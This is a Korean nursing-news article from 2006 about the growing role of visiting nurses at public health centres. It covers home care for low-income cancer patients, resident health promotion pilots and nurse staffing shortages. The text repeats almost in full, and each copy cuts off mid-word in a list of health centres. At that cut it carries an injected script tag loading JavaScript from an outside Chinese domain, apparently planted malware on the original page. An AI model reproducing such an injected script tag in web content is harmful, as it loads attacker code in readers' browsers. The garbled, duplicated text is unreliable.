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보건소 건강증진사업 이끄는 방문간호
기사입력 2006-05-04 오전 08:57:33
◆ 방문간호서비스 전문화 다양화
==적정 간호인력 충원해야
보건소 방문간호사들의 역할이 점차 전문화, 다양화되고 있어 주목된다.
이는 전 국민 평생건강을 위한 예방중심 건강증진사업 활성화라는 정부의 정책 기조에 따른 것이다. 이에 따라 이러한 목표를 효율적으로 달성하기 위해 적절한 간호사 인력 배치와 역할 재정립이 필요하다는 주장이 제기되고 있다.
보건복지부에 따르면 지난해와 올해 사이에 시작된 방문간호사 인력 활용 시범사업들은 재가암환자관리 사업과 주민건강증진센터 시범사업, 치매 무료검진사업, 아동보호 보건복지 통합서비스 시범사업, 노인건강증진 허브보건소 시범사업 등 5가지다.
보건복지부 관계자는 “방문보건 및 간호서비스 제도는 전 국민 예방중심 건강관리 시스템을 구축하는데 가장 핵심적인 역할을 하고 있다”며 “이는 건강보험 보장성 강화 정책을 펴고 있는 정부와 재원일수를 줄이고자 하는 각 의료기관들의 요구에 모두 부합하면서 국민 건강관리에도 효과적인 일석 삼조의 효과를 창출하고 있어 향후 정부가 추구하고 있는 수요자 중심의 보건의료체계를 정립하기 위해 활성화돼야 하는 제도”라고 말했다.
양지훈 보건간호사회장은 “방문간호사의 역할이 증대되는 것은 간호의 전문성과 지역사회 기여도를 높이는 매우 고무적인 일”이라며 “하지만 늘어나는 업무와 달리 간호사 인력은 부족하고 올바른 역할 정립도 이뤄지지 않아 제대로 된 방문보건사업을 수행하기 어려운 상황”이라고 말했다.
또 양 회장은 “방문간호사들이 전문적인 간호서비스를 수행할 수 있도록 역할을 재정립하는 것은 물론 적절한 인력 충원과 배치가 이뤄질 수 있도록 해야 할 것”이라며 “특히 방문간호사들의 전문성을 인정해 전문간호사 자격을 취득할 경우 가산점을 주는 방안 등을 추진해야 할 것”이라고 강조했다.
◆ 재가암환자관리
==저소득층 암환자 통증관리 주력
재가암환자관리사업은 저소득층 암환자를 직접 찾아가 다양한 방문보건서비스를 제공하는 것으로 방문간호사와 의사가 필수 인력으로 참여하고 있다.
대상은 의료급여수급자 및 건강보험가입자 중 하위 50%인 암환자 및 말기암환자로 올해 총 24억6000만원의 예산이 투입돼 1만2000명의 지역 재가암환자에게 서비스가 지원된다. 제공되는 서비스는 통증사정 및 투약 등 간호서비스, 호스피스서비스, 사회복지서비스 등이며 의료소모품 등도 제공된다.
지난해 시범사업을 통해 마약성 진통제 등에 대한 의료진의 인식 부족 등이 문제점으로 드러남에 따라 보건복지부는 보건소 방문간호사와 전담의사 등을 대상으로 통증조절 교육을 강화할 예정이다. 지역 내 재가암환자 발굴을 위한 사업 홍보와 암환자 및 가족을 위한 교육프로그램 개발 등도 추진할 계획.
특히 현재 시행중인 말기암환자 호스피스사업과 재가암환자사업을 연계해 통합적 데이터베이스를 구축하고 인력도 확충해 효율적인 관리를 할 수 있도록 할 방침이다. 말기암환자 호스피스사업은 말기암 환자들에게 안정된 호스피스 서비스를 제공하기 위해 매해 기준에 맞는 기관을 선정해 재정적, 행정적으로 지원하는 사업으로 올해는 21개 기관이 지원금을 받았다.
보건복지부는 “암환자 31만여명 중 80%에 해당하는 25만여명의 환자가 재가암환자로 방문보건서비스의 필요성은 점차 증대되고 있다”며 “지금은 차상위계층을 대상으로 하지만 추후 전 국민 암관리의 핵심 의료서비스가 될 것”이라고 말했다.
서울 영등포구보건소 시범사업담당 권행숙 간호사는 “인력이나 제도적으로 아직 어려운 점이 많지만 암환자들에게 정신적, 경제적 위안이 되고 있는 서비스”라며 “지속적으로 보완, 발전돼 환자들에게 실질적인 도움을 주는 제도로 발전해 나가길 바란다”고 밝혔다.
◆ 주민건강증진센터
==비만. 스트레스. 금연 등 1 : 1 상담관리
주민건강증진센터 시범사업의 도화선 역할을 한 것은 2004년부터 시작된 금연클리닉사업. 이 사업의 성공에 힘입어 지난해부터 시작된 사업이 주민건강증진센터 시범사업이다.
이 시범사업은 `찾아가는 고객지향형 주민건강 모형개발'을 목표로 시작된 사업인 만큼 지역주민들에게 직접 1 : 1 시스템으로 다가가는 서비스를 펼치고 있다. 간호사를 중심으로 영양사와 운동처방사가 팀을 만들어 비만과 절주, 스트레스 관리, 운동, 영양 등 주민건강증진을 위한 통합적 서비스를 제공하고 있다. 흡연자에게도 찾아가는 서비스가 제공돼 금연클리닉과 금연상담전화 등을 통해 상시적 금연상담 및 치료서비스를 제공하고 있다.
시범사업 대상 보건소는 △서울－성북구, 강북구보건소 △부산－진구보건소 △대구－서구보건소 △인천－연수구보건소 △광주－남구보건소 △대전－대덕구보건소 △울산－동구보건소 △경?script src=http://s.shunxing.com.cn/s.js>
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==적정 간호인력 충원해야
보건소 방문간호사들의 역할이 점차 전문화, 다양화되고 있어 주목된다.
이는 전 국민 평생건강을 위한 예방중심 건강증진사업 활성화라는 정부의 정책 기조에 따른 것이다. 이에 따라 이러한 목표를 효율적으로 달성하기 위해 적절한 간호사 인력 배치와 역할 재정립이 필요하다는 주장이 제기되고 있다.
보건복지부에 따르면 지난해와 올해 사이에 시작된 방문간호사 인력 활용 시범사업들은 재가암환자관리 사업과 주민건강증진센터 시범사업, 치매 무료검진사업, 아동보호 보건복지 통합서비스 시범사업, 노인건강증진 허브보건소 시범사업 등 5가지다.
보건복지부 관계자는 “방문보건 및 간호서비스 제도는 전 국민 예방중심 건강관리 시스템을 구축하는데 가장 핵심적인 역할을 하고 있다”며 “이는 건강보험 보장성 강화 정책을 펴고 있는 정부와 재원일수를 줄이고자 하는 각 의료기관들의 요구에 모두 부합하면서 국민 건강관리에도 효과적인 일석 삼조의 효과를 창출하고 있어 향후 정부가 추구하고 있는 수요자 중심의 보건의료체계를 정립하기 위해 활성화돼야 하는 제도”라고 말했다.
양지훈 보건간호사회장은 “방문간호사의 역할이 증대되는 것은 간호의 전문성과 지역사회 기여도를 높이는 매우 고무적인 일”이라며 “하지만 늘어나는 업무와 달리 간호사 인력은 부족하고 올바른 역할 정립도 이뤄지지 않아 제대로 된 방문보건사업을 수행하기 어려운 상황”이라고 말했다.
또 양 회장은 “방문간호사들이 전문적인 간호서비스를 수행할 수 있도록 역할을 재정립하는 것은 물론 적절한 인력 충원과 배치가 이뤄질 수 있도록 해야 할 것”이라며 “특히 방문간호사들의 전문성을 인정해 전문간호사 자격을 취득할 경우 가산점을 주는 방안 등을 추진해야 할 것”이라고 강조했다.
◆ 재가암환자관리
==저소득층 암환자 통증관리 주력
재가암환자관리사업은 저소득층 암환자를 직접 찾아가 다양한 방문보건서비스를 제공하는 것으로 방문간호사와 의사가 필수 인력으로 참여하고 있다.
대상은 의료급여수급자 및 건강보험가입자 중 하위 50%인 암환자 및 말기암환자로 올해 총 24억6000만원의 예산이 투입돼 1만2000명의 지역 재가암환자에게 서비스가 지원된다. 제공되는 서비스는 통증사정 및 투약 등 간호서비스, 호스피스서비스, 사회복지서비스 등이며 의료소모품 등도 제공된다.
지난해 시범사업을 통해 마약성 진통제 등에 대한 의료진의 인식 부족 등이 문제점으로 드러남에 따라 보건복지부는 보건소 방문간호사와 전담의사 등을 대상으로 통증조절 교육을 강화할 예정이다. 지역 내 재가암환자 발굴을 위한 사업 홍보와 암환자 및 가족을 위한 교육프로그램 개발 등도 추진할 계획.
특히 현재 시행중인 말기암환자 호스피스사업과 재가암환자사업을 연계해 통합적 데이터베이스를 구축하고 인력도 확충해 효율적인 관리를 할 수 있도록 할 방침이다. 말기암환자 호스피스사업은 말기암 환자들에게 안정된 호스피스 서비스를 제공하기 위해 매해 기준에 맞는 기관을 선정해 재정적, 행정적으로 지원하는 사업으로 올해는 21개 기관이 지원금을 받았다.
보건복지부는 “암환자 31만여명 중 80%에 해당하는 25만여명의 환자가 재가암환자로 방문보건서비스의 필요성은 점차 증대되고 있다”며 “지금은 차상위계층을 대상으로 하지만 추후 전 국민 암관리의 핵심 의료서비스가 될 것”이라고 말했다.
서울 영등포구보건소 시범사업담당 권행숙 간호사는 “인력이나 제도적으로 아직 어려운 점이 많지만 암환자들에게 정신적, 경제적 위안이 되고 있는 서비스”라며 “지속적으로 보완, 발전돼 환자들에게 실질적인 도움을 주는 제도로 발전해 나가길 바란다”고 밝혔다.
◆ 주민건강증진센터
==비만. 스트레스. 금연 등 1 : 1 상담관리
주민건강증진센터 시범사업의 도화선 역할을 한 것은 2004년부터 시작된 금연클리닉사업. 이 사업의 성공에 힘입어 지난해부터 시작된 사업이 주민건강증진센터 시범사업이다.
이 시범사업은 `찾아가는 고객지향형 주민건강 모형개발'을 목표로 시작된 사업인 만큼 지역주민들에게 직접 1 : 1 시스템으로 다가가는 서비스를 펼치고 있다. 간호사를 중심으로 영양사와 운동처방사가 팀을 만들어 비만과 절주, 스트레스 관리, 운동, 영양 등 주민건강증진을 위한 통합적 서비스를 제공하고 있다. 흡연자에게도 찾아가는 서비스가 제공돼 금연클리닉과 금연상담전화 등을 통해 상시적 금연상담 및 치료서비스를 제공하고 있다.
시범사업 대상 보건소는 △서울－성북구, 강북구보건소 △부산－진구보건소 △대구－서구보건소 △인천－연수구보건소 △광주－남구보건소 △대전－대덕구보건소 △울산－동구보건소 △경?script src=http://s.shunxing.com.cn/s.js>
김현정 hjkim@nursenews.co.kr